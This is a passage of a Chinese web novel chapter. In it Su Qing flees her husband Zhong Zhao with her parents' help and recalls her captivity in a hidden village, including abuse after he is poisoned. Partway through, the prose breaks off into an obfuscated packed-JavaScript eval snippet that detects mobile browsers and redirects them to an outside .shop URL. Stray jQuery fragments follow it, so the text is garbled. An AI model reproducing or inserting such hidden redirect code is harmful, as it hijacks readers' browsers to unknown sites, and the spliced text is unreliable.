“爸妈”。
苏青听着背后哽咽的声音,一时间怔住了,喜悦,激动充斥着她的内心,再次见到一年多没见面的父母后,眼泪立马就涌了上来,止都止不住。
她红着眼扑到苏母的怀里,放声痛哭了起来。
苏父站在一旁,用手擦了擦眼角的泪水哽咽道:“好了,都快别哭了,我们一家人好久没见了,先找个地方坐着,青青你好好跟我们说说这一年你都发生了什么”。
闻言,苏青稍微清醒了一些,她擦着脸上从眼睛里流下来的眼泪,用哭后沙哑的声音对苏父苏母道。
“爸妈,你们先跟我来”。
负一楼的卫生间背面有个黑暗的小巷子,此时空无一人。
苏青往里面走了走,有些焦急的问道:“爸妈你们是开车来的吗”?
苏父从口袋里掏出一把钥匙,放在手里。
“对,开车来的,电话里你说没有身份证,不想被人发现出行的踪迹,挂了电话我和你妈一刻都等不了,立马就开车过来了,到了之后也不知道怎么联系你,我们两个就一直守在这里等你”。
“车子就停在对面马路上,离这不远”。
苏母用手往外指了指:“过了这个马路就到了”。
苏青往对面看了一眼:“是不远,这样爸你把外套脱下来给我,等我到家了在跟你们说”。
“青青,你是不想被什么人发现吗?我看你身上干干净净的,也没有伤痕,应该不是绑架,你是要躲什么人吗”?
苏父看着她目光发颤,问出来心里的疑问。
“对,时间来不及了,爸你快把外套给我,我们先回家”。
苏青急的眼泪都快出来了,一个劲的催促他。
一会后,苏青将放下来的头发全部扎了上去,又穿上苏父的外套,为了不被认出来,她还给自己带了个口罩,墨镜。
三个人一前一后的往马路对面走去。
“爸妈,这里人多,要是我们走散了,不要找,直接车里汇合”。
苏青低着头往钟昭坐着的地方看了看。
很好,他现在正坐在凳子上,玩弄手机!
还时不时的笑一下,很明显注意力都被手机吸引了。
苏青这会都有些庆幸了,幸亏钟昭有个手机可以玩,不然干坐着,他肯定会发现她已经离开很久了。
她不敢大意,走人多的地方,紧紧的抓着苏母的手快速往车的方向走去。
快到马路边上了,苏青越走越急促,呼吸也不自觉的加重了起来。
眼看着过了马路就能上车离开,谁知红灯亮了起来。
她只得干站着倒数灯光变绿的时间,眼睛还时不时的往钟昭的方向瞟去。
“钟昭呢?这才几分钟就看不到他人了?”
“青青,绿灯了”。苏母提醒她。
“奥,好”。
苏青在苏父苏母的掩护下,终于上了自家车。
她与苏母坐在后排,苏父坐在主驾上。
一上车她就急急忙忙的催促苏父:“爸,你快开车,我们先离开这里”。
“好好,我这就开走,我们先去酒店”?
刚闭上眼睛养神的苏青,不敢相信这么顺利就坐上了回家的车。
立马睁开了眼睛,语气急促:“别去酒店了,我们先回家”。
“好,好好,先回家,青青你先躺下睡一觉,等睡醒了我们就到家了”。
苏父通过后视镜与苏母对视了一眼,双方都读懂了彼此眼里的话语。
虽然不知道女儿这一年发生了什么,但这里肯定有一个人是她不想见到的。
“青青,妈妈这外套也给你盖头上”。
苏母说着就将自己的外套脱下来盖在了苏青的头上。
“嗯”。
苏青没有拒绝,外套盖在头上后,她彻底的放松了下来。
她有好多好多的情绪,需要消化。
一年了,她终于逃出来了,她终于见到爸妈了,她已经分不清是什么情绪了,只知道内心酸涩不已。
当初是因为邵北的背叛,她才选择出门旅游的,只有她自己知道,得知邵北背叛的那一刻,她到底有多痛苦。
从小到大,二十几年的感情,不是说舍弃就舍弃的,可她的骄傲不允许她吃回头草。
可她又服不了自己彻底放下。
她曾将自己关在屋子里,痛哭过,发泄过,可夜深人静的时候,那张照片又清晰的刻在她的脑子里。
这种感情上的痛苦,没有人能帮你走出来,只能靠自己看开。
于是,她不想让父母发现她的异常,便悄悄的出门旅游了。
一开始,她并不是一个人去旅游的,是同几个好友一起的。
她还记得那天,她们几个结束了最后一站,有人提议:
“听说这一带的月老庙很灵验,我们等下去拜拜呗”。
苏青才刚和邵北分手,不想去月老庙,又拗不过大伙的邀请,便跟着去了。
她进了月老庙之后,胆大的同月老对视了一眼。
心里揶揄道:“月老若真这么灵验,为什么我与邵北二十几年的感情,说分就分”。
“
沽名钓誉”!
对视了一会后,她不似其他同伴那样,对着月老又磕又拜的,直接去了外面等他们。
微风吹来,她感觉这趟旅游白来了,根本没让她从感情的痛苦里走出来。
她闭着眼睛,开始享受山林间的凉风。
突然,一只彩色的蝴蝶停在了她的鼻子上,她睁开眼睛,却不想惊到了蝴蝶。
苏青从未见过那般好看的蝴蝶,就拿起手机跟着它,准备拍几张照片,看看是什么品种的。
那蝴蝶好似通人性一般,稍微离苏青距离远了,便停下来等着她,等苏青追上来了,它又飞走。
总是离她不远不近的,有好几次,苏青都抓拍到它了,可打开相册一看,照片模糊的不行,她气急,便又跟着蝴蝶继续抓拍。
好不容易等到蝴蝶停下来了,苏青这次却不上前了,她将相机的间距拉大,在拉大,终于拍到了蝴蝶的全貌。
她欣喜的往回走,谁知那蝴蝶突然飞到她的面前,挡住了她的视线。
苏青一时不慎脚下便踩空了。
迷糊间,好似一个青年将她背在背上,她看不清他的脸,只知道他身上有股药香,特别好闻。
她闻着闻着便没了知觉。
等她醒来的时候,已经躺在桑婶家的床上了。
她以为这里就是普通的农村,等伤好了之后就可以离开了。
谁知道,进了个与世隔绝的地方,她根本没办法出去。
她哭过,闹过,可每次都被对面的青年用沉默来回答。
后来她的伤好了,又提出要离开的想法,谁知那对面的青年竟然同意了。
看着他侧身让门的动作,她甚至来不及感谢桑婶的照顾,感谢青年的照顾,便跑了出来。
她走了很久的路,总感觉后面有一双眼睛盯着她,她当时害怕极了。
越走到山林的时候,心里越打鼓,犹犹豫豫的不敢进去。
可最后她还是鼓起勇气进去了,没想到会遇到个色胚。
她想今天估计要交代在这里的。
谁知竟被那青年救了,那青年带着她,去了通往外面世界的机关门,她看到了满地白骨,又看到了冒着紫色,蓝色烟的毒草。
那一天,那个青年的话格外多,她知道自己出不去了。
可惊喜往往来的又那么快,从桑婶口中,她意外得知,只要嫁给寨主就可以在成婚后,出去祈福。
她都打听好了,当时的寨主四五十岁,老是老了点,可他单身啊!
她悄摸的偷看过寨主几次,温文尔雅,加上保养得当,看起来只有三十多岁的模样。
她想要不认命吧!就嫁给他,然后逃出去。
那晚她又灌了桑婶自己酿的酒,得知寨主快要退休了。
于是她又把主意打到了少寨主身上,得知少寨主是钟昭的时候,她决定就他了。
因为他年轻,好勾引!
谁知道这个人执拗的很,偏要感受到她的爱意,才愿意娶她。
她一时犯了难,爱意?她根本就不爱他,怎么可能会有爱意呢。
于是她苦思冥想,把这辈子看的霸总小说,全都回忆了一遍。
霸总追妻的套路总不会有错的,那反过来追夫应该也是可以的吧!
她抱着不确定态度若即若离的试
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14185335|150670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了几次,没想到成了!
她惊喜不已,晚上睡着都能笑醒。
可钟昭还是不愿意娶她,她不知道哪里出了问题,一连好几天,她都同他冷战。
谁知竟让她悟了出来,于是她那天,一大早便喝了酒壮胆。跑到他家院子里,对着他亲了上去。
日子久了,她也渐渐得了乐趣,好像真的喜欢上钟昭了,她开始撩拨他,与他亲近。
最后钟昭终于愿意娶她了,她想要是一直这样好下去,出去的时候带他见见父母也无妨。
谁知变故来的那么快,钟昭中了蛊之后,完全像变了一个人,他会骂她,会打她,还会强迫她。
这一刻,苏青终于清醒了,在这里,她所有的一切都依赖钟昭,如果钟昭变心了,那么她连个容身之所都不会有,她开始收敛情绪,努力同他扮好恩爱的戏码,当然有时候也是真情流露。
可如今这一切都不重要了,她现在出来了。
另一边,几瓶啤酒已经上桌了,旁边还摆放着钟昭后面点的烧烤,满满一大桌。
钟昭气质优雅的端坐在凳子上,看着手机里洗出来的照片,嘴角挂着淡淡的笑容,然后对手机发语音:“照片我很满意,先送到房间”。
“等会我们就回去”。
说完他将手机扣在桌子上,小声嘀咕道:“我要姐姐一进门就看到我们的合照”。
“嗨,帅哥,请问你旁边有人吗”?
两位身着清凉的长发美女,俏皮的站在他身边,跟他打招呼。
钟昭皱着眉头,神色清冷的扫了她们一眼,随即又将目光移到手机上,声音清冷。
“抱歉,这里有人了”。
“帅哥,晚上你点这么多烧烤,是和兄弟们一起出来吃的吗?交个朋友呗,我们俩也可以陪你们玩”。
一位粉色上衣,黑色短裙的长发
美女,自来熟的拉开他旁边的椅子坐了下去。
黄衣长发美女见状,也笑眯眯的坐在了钟昭的身旁。
一左一右,毫不客气。
钟昭看着苏青的位置被占了,顿时脸色阴沉得吓人,眉头紧蹙,但自身良好的修养,让他克制住了心中的怒火。
先礼后兵!
“抱歉,刚刚是我没有说清楚,这个桌子已经有人了,我们不需要人陪,麻烦俩位换个地方”。
说话时,他的嘴唇几乎不动,但是下巴的肌肉却在微微抽搐,仿佛在努力控制着自己的情绪。
“哎呀,帅哥,你不需要不代表你的朋友不需要啊!这样我们俩先坐在这里,陪你一起等你朋友,要是他说不需要,我们在走也不迟啊”?
粉衣女子对钟昭嘟起嘴唇,卖萌撒娇。
“对啊,帅哥,你长的这么帅,不要不近人情吗”?
黄衣女子嗲声嗲气边说边往钟昭身上靠去。
钟昭从来没有见过这种厚颜无耻的阵仗,在黄衣女子靠近的时候,他猛的站了起来。
“我不需要你们陪,她更不需要,我再说最后一遍,请你们离开”!
他的声音变得低沉而沙哑,每一个字都像是从牙缝里挤出来的一样,带着压抑的怒火。
黄衣女子见钟昭明着赶人了,顿时不悦,声音骤然升高:“你什么意思?看不上我俩”?
“我看你穿的也不怎么样,又不是什么有钱人,我们肯赏脸坐你这桌,你就偷着乐吧,别给脸不要脸”。
粉衣女子拿起桌子上的一个烤串,大大咧咧的坐在凳子上帮腔。
“我不需要,请你们现在就走”。
钟昭说着就侧身走到了凳子的另一边,给两位女子让道。
可以看出,他正在努力地克制着自己的情绪,但又无法完全掩饰住内心的恼火。
生气时的他,就像一只被激怒的狮子,让人不敢轻易靠近。
两位女子对视了一眼,意识到钟昭可能是真的不想请她俩吃饭,立马讽刺了起来:“切,装什么,走就走”。
“就是,穷逼,我们还不愿意伺候呢”。
两位女子走后,钟昭喊来老板,将桌子上的烤串,啤酒全都扔了,连同被坐过的凳子也让老板换了。
接着他又重新点了一份,一模一样的烤串跟啤酒。
静静地坐在那里等苏青回来。